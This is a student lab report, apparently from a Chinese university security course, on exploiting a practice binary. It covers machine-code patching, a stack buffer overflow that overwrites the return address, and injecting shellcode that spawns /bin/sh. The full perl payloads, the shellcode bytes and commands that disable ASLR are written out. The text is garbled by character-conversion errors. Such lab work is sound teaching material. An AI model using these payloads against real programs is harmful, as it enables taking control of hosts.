2018-2019-2 网络对抗技术 20165329 Exp1 PC平台逆向破解

2018-2019-2 网络对抗技术 20165329 Exp1 PC平台逆向破解linux

做业内容shell

评分标准:编程

  1. 截图要求:

  1.1 全部操做截图主机名为本人姓名拼音windows

  1.2 所编辑的文件名包含本身的学号sass

  如未按如上格式要求,则相应部分报告内容不记成绩。安全

2 报告内容网络

  2.1 用本身的话回答如下问题:dom

      2.1.1  实验收获与感想函数

      2.1.2  什么是漏洞?漏洞有什么危害?spa

  2.2 须要描述的内容  

      2.2.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)

      2.2.2掌握反汇编与十六进制编程器 (0.5分)

      2.2.3能正确修改机器指令改变程序执行流程(0.5分)

      2.2.4能正确构造payload进行bof攻击(0.5分)

     

3.报告总体观感

  3.1 报告格式范围,版面整洁 加0.5。

  3.2 报告排版混乱,加0分。

4.文字表述

  4.1报告文字内容很是全面,表述清晰准确 加1分。

  4.2报告逻辑清楚,比较简要地介绍了本身的操做目标与过程 加0.5分。

  4.3报告逻辑混乱表述不清或文字有明显抄袭可能 加0分。

实验收获与感想

       经过此次实验,让我对本次实验的缓冲区溢出攻击的原理有了必定的了解。经过询问同窗,查考网上资料慢慢的一步一步解决了实验的难点,虽然对这次实验的原理没有理解的那么深刻,可是仍是受益不浅,更加喜欢上了这门课程。

什么是漏洞?漏洞有什么危害?

       我以为漏洞是在设计制造程序产品时,只考虑该程序的功能实现,未充分考虑其安全性的问题,致使程序在安全策略上存在缺陷,使得攻击者可利用该缺陷进行破环与攻击。它的危害可能会取得该程序的控制权,进而经过命令控制整个主机,致使受到攻击。

NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP汇编指令:执行到NOP指令时,CPU仅仅当作一个指令执行过去并继续执行NOP后面的一条指令。
  • JNE汇编指令:条件转移指令,若是不相等则跳转。
  • JE汇编指令:若是条件相等则跳转。
  • JMP汇编指令:直接跳转到所需跳转的位置。
  • CMP汇编指令:减法指令,只是对操做数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其余相关指令经过识别这些被影响的标志寄存器位来得知比较结果。

任务1、直接修改程序机器指令,改变程序执行流程

    一、首先将pwn1文件经过共享文件夹传入虚拟机当中,经过chmod +x pwn1指令加权限,而后objdump -d pwn1,反汇编pwn1文件。

    

    二、反汇编结束后发现:main函数里面有一步call 8048491<foo>,机器码指令为e8 d7 ff ff ff(call的机器码就是e8,后面是地址)。

    经过进一步的分析:08048491是0804847d是咱们的跳转目标。

0x08048491 - 0x0804847d = 0x00000014//计算地址差

0xffffffd7 - 0x00000014 = 0xffffffc3//计算要篡改的目标地址

 

  • vi pwn1进入命令模式
  • 输入:%!xxd将显示模式切换为十六进制
  • 在底行模式输入/e8 d7定位须要修改的地方,并确认
  • 进入插入模式,修改d7c3
  • 输入:%!xxd -r将十六进制转换为原格式
  • 使用wq保存并退出

 

 

 

经过上述步骤看见个人main函数里面已经修改成e8 c3 ff ff ff

四、执行./pwn1文件能够成功获取shell:

 

完成第一个实验。

2、经过构造输入参数,形成BoF攻击,改变程序执行流

一、

    使用gdb命令,file pwn1载入pwn1文件,输入gdb pwn1

    输入r执行pwn1,这时程序正常执行,在foo子函数调用的过程当中,须要咱们输入一个字符串。

    输入36个字符后回车:abcdefghijklmnopqrstuvwxyz1234567890

二、

    此时eip寄存器中的值为0x30393837eip寄存器的值是保存程序下一步所要执行指令的地址,本次实验用的是小端机器,30、3九、3八、37分别是0、九、八、7对应的ASCII码,那么也就是说最后4位恰好完成溢出,覆盖掉返回地址了。

    咱们须要使用perl语句,用管道的方式把上一个命令的结果做为下一个的输入。

    使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    而后将input的输入,经过管道符“|”,做为pwn1的输入。攻击成功之后出现的截图:

完成第二个实验。

3、注入Shellcode并执行

  • shellcode就是一段机器指令(code)
  • 一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),因此这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  • 首先使用apt-get install execstack命令安装execstack。

 

修改如下内容

 

  • 设置堆栈可执行execstack -s pwn1
  • 查询文件的堆栈是否可执行 execstack -q pwn1
  • 关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
  • 查询地址随机化是否关闭(0表明关闭,2表明开启)more /proc/sys/kernel/randomize_va_space

    • 采用老师提供的shellcode 的代码
      \x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
    • 用perl语言输入代码
      perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    • 上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。咱们把它改成这段shellcode的地址。

肯定返回地址的值

    • 将写好的代码经过管道方式输入给程序pwn1中的foo函数进行覆盖
      (cat input_shellcode;cat) | ./pwn1
    • 打开另一个终端,用gdb来调试pwn1这个进程
      • ps -ef | grep pwn1肯定pwn1的进程号
      • 启动gdb调试这个程序 gdb attach 5305

  • 设置断点来查看注入buf的内存地址disassemble foo
  • ret的地址为 0x080484ae,ret完就会跳到咱们覆盖的返回地址了
  • break *0x080484ae设置断点
  • 在另外一个终端按下回车,这样程序就会执行以后在断点处停下来
  • 再在gdb调试的终端输入 c 继续运行程序
  • 经过info r esp查看esp寄存器的地址

  • 下图能够看到0x01020304所在的地址为0xffffd22c,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即

0xffffd22c + 0x00000004 = 0xffffd230

  • 退出gdp调试。

  • 输入

perl -e 'print "A" x 32;print "\x30\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 执行程序,攻击成功

第三个实验完成

相关文章
相关标签/搜索